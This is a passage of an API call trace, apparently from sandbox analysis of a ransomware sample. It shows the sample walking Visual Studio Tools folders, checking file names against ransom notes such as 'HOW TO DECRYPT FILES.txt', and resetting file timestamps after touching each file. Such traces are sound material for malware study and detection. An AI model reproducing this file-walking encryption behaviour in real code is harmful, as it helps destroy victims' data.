ftLastWriteTime.dwLowDateTime=0xb1d62600, ftLastWriteTime.dwHighDateTime=0x1c9e42e, nFileSizeHigh=0x0, nFileSizeLow=0x74, dwReserved0=0x530045, dwReserved1=0x74002e, cFileName="vsta_ep32.exe.config", cAlternateFileName="VSTA_E~1.CON")) returned 0 [0076.480] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0076.480] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5272d110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x617be070, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x740078, dwReserved1=0x0, cFileName="x86", cAlternateFileName="")) returned 0 [0076.480] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0076.480] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5707cc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5707cc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="AppInfoDocument", cAlternateFileName="APPINF~1")) returned 1 [0076.480] lstrcmpA (lpString1=".", lpString2="AppInfoDocument") returned -1 [0076.480] lstrcmpA (lpString1="..", lpString2="AppInfoDocument") returned -1 [0076.480] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\*.*") returned="*.*" [0076.481] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5707cc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5707cc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.481] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.481] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5707cc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5707cc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.481] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.481] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.481] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed5c9040, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xe5707cc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xed5c9040, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x25b9, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AddIns.store", cAlternateFileName="ADDINS~1.STO")) returned 1 [0076.481] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.481] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AddIns.store") returned 1 [0076.481] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AddIns.store") returned 1 [0076.481] lstrcmpiA (lpString1="", lpString2="AddIns.store") returned -1 [0076.481] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument\\*.*") returned="*.*" [0076.481] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument\\" [0076.481] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument\\") returned="" [0076.485] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0076.485] CloseHandle (hObject=0x90) returned 1 [0076.485] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.AppInfoDocument", cAlternateFileName="MICROS~1.APP")) returned 1 [0076.485] lstrcmpA (lpString1=".", lpString2="Microsoft.VisualStudio.Tools.Office.AppInfoDocument") returned -1 [0076.485] lstrcmpA (lpString1="..", lpString2="Microsoft.VisualStudio.Tools.Office.AppInfoDocument") returned -1 [0076.485] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument\\AddIns.store") returned="AddIns.store" [0076.485] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f60c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0076.486] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.486] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0076.486] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.486] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.486] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e0b300, ftCreationTime.dwHighDateTime=0x1ca5247, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e0b300, ftLastWriteTime.dwHighDateTime=0x1ca5247, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0076.486] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.486] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll") returned -1 [0076.486] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll") returned -1 [0076.486] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll") returned -1 [0076.486] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument\\*.*") returned="*.*" [0076.486] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument\\" [0076.486] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument\\") returned="" [0076.489] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0076.489] CloseHandle (hObject=0x94) returned 1 [0076.490] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e0b300, ftCreationTime.dwHighDateTime=0x1ca5247, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e0b300, ftLastWriteTime.dwHighDateTime=0x1ca5247, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0076.490] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0076.490] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.AppInfoDocument", cAlternateFileName="MICROS~1.APP")) returned 0 [0076.490] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0076.491] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20323f10, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x69acfbd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69acfbd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x302e3976, dwReserved1=0x3, cFileName="Pipeline.v10.0", cAlternateFileName="PIPELI~1.0")) returned 1 [0076.491] lstrcmpA (lpString1=".", lpString2="Pipeline.v10.0") returned -1 [0076.491] lstrcmpA (lpString1="..", lpString2="Pipeline.v10.0") returned -1 [0076.491] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\*.*") returned="*.*" [0076.491] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20323f10, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x69acfbd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69acfbd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.491] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.491] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20323f10, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x69acfbd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69acfbd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.491] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.491] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.491] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5863dfb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd3478ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd3478ee0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AddInSideAdapters", cAlternateFileName="ADDINS~1")) returned 1 [0076.491] lstrcmpA (lpString1=".", lpString2="AddInSideAdapters") returned -1 [0076.491] lstrcmpA (lpString1="..", lpString2="AddInSideAdapters") returned -1 [0076.491] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\*.*") returned="*.*" [0076.491] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5863dfb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd3478ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd3478ee0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014f8, dwReserved1=0x5014f3, cFileName=".", cAlternateFileName="")) returned 0x502658 [0076.492] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.492] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5863dfb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd3478ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd3478ee0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0076.492] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.493] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.493] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd3478ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xa1c0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0076.493] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.493] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.dll") returned -1 [0076.493] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.dll") returned -1 [0076.493] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.dll") returned -1 [0076.493] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\*.*") returned="*.*" [0076.493] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\" [0076.493] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\") returned="" [0076.494] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0076.494] CloseHandle (hObject=0x94) returned 1 [0076.495] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x317e5900, ftCreationTime.dwHighDateTime=0x1ca5247, ftLastAccessTime.dwLowDateTime=0x5863dfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x317e5900, ftLastWriteTime.dwHighDateTime=0x1ca5247, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0076.495] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.495] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.dll") returned -1 [0076.495] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.dll") returned -1 [0076.495] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.dll") returned -1 [0076.495] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.dll") returned="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.dll" [0076.495] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\" [0076.495] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\") returned="" [0076.496] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.496] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll") returned -1 [0076.496] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll") returned -1 [0076.496] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll") returned -1 [0076.496] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.dll") returned="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.dll" [0076.496] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\" [0076.496] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\") returned="" [0076.496] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.496] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll") returned -1 [0076.496] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll") returned -1 [0076.497] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll") returned -1 [0076.497] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll") returned="Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll" [0076.497] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\" [0076.497] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\") returned="" [0076.497] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.497] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll") returned -1 [0076.497] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll") returned -1 [0076.497] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll") returned -1 [0076.497] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll") returned="Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll" [0076.497] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\" [0076.497] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\") returned="" [0076.498] lstrcmpA (lpString1=".", lpString2="AddInViews") returned -1 [0076.498] lstrcmpA (lpString1="..", lpString2="AddInViews") returned -1 [0076.498] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\*.*") returned="*.*" [0076.498] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInViews\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69acfbd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd60a8740, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd60a8740, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700061, dwReserved1=0x650074, cFileName=".", cAlternateFileName="")) returned 0x502658 [0076.499] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.499] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.499] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.499] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.499] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.Tools.v9.0.dll") returned -1 [0076.499] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.Tools.v9.0.dll") returned -1 [0076.499] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.Tools.v9.0.dll") returned -1 [0076.499] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft 